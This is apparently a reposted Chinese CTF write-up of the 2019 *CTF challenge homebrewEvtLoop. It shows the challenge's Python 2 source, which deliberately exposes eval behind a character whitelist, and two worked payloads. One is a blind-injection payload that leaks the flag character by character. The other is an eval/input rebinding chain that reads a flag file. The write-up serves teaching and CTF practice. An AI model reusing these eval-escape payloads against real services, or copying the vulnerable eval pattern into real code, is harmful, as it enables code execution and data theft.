内容简介:这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。首先代码如下:程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。
这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。
题目
首先代码如下:
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'
# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)
# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'
程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。
盲注
盲注payload如下:
session[args[0]][5]in[event[49]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log # 把这个payload分成三个部分 # flag字符拆解 and dir or 字符集
session[args[0]][5] 中的5其实是flag字符的下标,而 event[49] 中的49对应的是整个payload中字符的下标,即用于拆解的字符集中的a字符。
# flag字符拆解 and dir or 字符集 如果flag字符拆解结果为True: flag字符拆解 and dir or 字符集 => True and dir or 字符集 => dir => dir(字符串) 如果flag字符拆解结果为False: flag字符拆解 and dir or 字符集 => False and dir or 字符集 => 字符集 => 字符集(字符串)
程序之后又将这个eval的返回结果作为函数名调用对应函数,根据这两种不同的返回结果,我们就可以进行逐位盲注。
RCE
再来看看RCE的payload:
# 第一次输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
第一次输入的payload可以拆解如下:
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]]
# 类似于
l = []
for [PoW] in [[switch_safe_mode]] :
PoW = switch_safe_mode
for [raw_input] in [[input]] :
raw_input = input
l.append([str])
这段payload做的最重要的就是变量覆盖,修改函数原有的功能。这里使Pow变成了switch_safe_mode,而raw_input变成了input。然后在下一次循环的时候,Pow函数就不会再要我们输入字符串校验。
这里之所以把raw_input变成了input,是因为题目环境为 python 2.x,而Python2.x中input函数定义如下:
Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。 Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。
这样就相当于下次输入的字符串会执行两次eval,我们再来看第二次输入的payload:
# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
这个payload经过input函数后,实际上就是把前一半 [[str]for[args]in[[session]]][0][0]114514 的内容赋值给了event。但是它还做了一件很重要的问题,那就是把flag文件的内容赋值给了session变量。这里涉及到python变量作用范围问题,如下例子:
>>> i = 233 >>> l = [i for i in range(1,10)] >>> i 9
列表生成式中的变量会影响列表以外的变量,之后获得flag的过程就如下:
event = raw_input() # event: '[[str]for[args]in[[session]]][0][0]114514'; session: flag内容
event, args = event.split('114514') # event:
args = args.split('114514')
handler = eval(event) # event: str; args: flag内容
print handler(args) # str(flag内容)
以上所述就是小编给大家介绍的《2019*CTF之homebrewEvtLoop》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。